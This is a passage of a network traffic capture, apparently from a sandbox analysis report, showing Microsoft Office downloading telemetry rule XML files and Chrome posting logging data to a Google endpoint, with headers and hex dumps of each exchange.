2024-10-30 10:45:24 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:24 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: d145a723-401e-0067-13b1-2609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104524Z-17fbfdc98bbx59j5xd9kpbrs8400000007fg000000001bzc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:24 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49788	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:24 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 64bb7fc7-f01e-0071-5d6f-28431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104524Z-r1755647c668lcmr2va34xxa5s00000006hg000000003q0g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49791	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:24 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:24 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:24 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 0697abc8-001e-00ad-714f-28554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104524Z-r1755647c66pzcrw3ktqe96x2s000000093g000000004mwc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:24 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49792	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:24 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 86dc56c9-201e-00aa-5987-283928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104524Z-r1755647c66hbclz9tgqkaxg2w00000009bg0000000063fs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49793	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:24 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104524Z-17fbfdc98bb6vp4m3kc0kte9cs00000008m00000000061qg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49794	142.250.186.78	443	3984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:24 UTC	903	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 910 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=Cm1fXmekxUsFIuH1dcqAPwsIxIRG26REHqKKg3kuwgDPyQcSozZYO529Gsz0zseKRS5BFBN-fkeNlCsqgvYlA7AmPnsjYLMaJAgDgepnyoFwTMTRIfkfaC2BFnr1EDeplb9q4TidEs9ov61nNo9NI-1476LYHDiEj2u5_PNNbhdlkO09iBY
2024-10-30 10:45:24 UTC	910	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 32 38 35 31 32 32 32 37 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1730285122271",null,null,null,

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49795	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:25 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: a8de1b79-001e-0017-5ba3-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104525Z-r1755647c66vpf8fnbgmzm21hs00000008vg000000003rhx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49796	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:25 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:25 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104525Z-17fbfdc98bb6vp4m3kc0kte9cs00000008ug00000000055p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49797	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:25 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 57638fd1-a01e-0053-7b67-288603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104525Z-r1755647c66hbclz9tgqkaxg2w00000009e00000000051k8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49798	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:25 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104525Z-r1755647c66p58nm9wqx75pnms000000070g000000006uey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49799	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:25 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104525Z-r1755647c666sbmsukk894ba7n00000005sg0000000010qs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49800	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:26 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:26 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:26 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104526Z-r1755647c665dwkwce4e7gadz000000008n0000000006n4u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
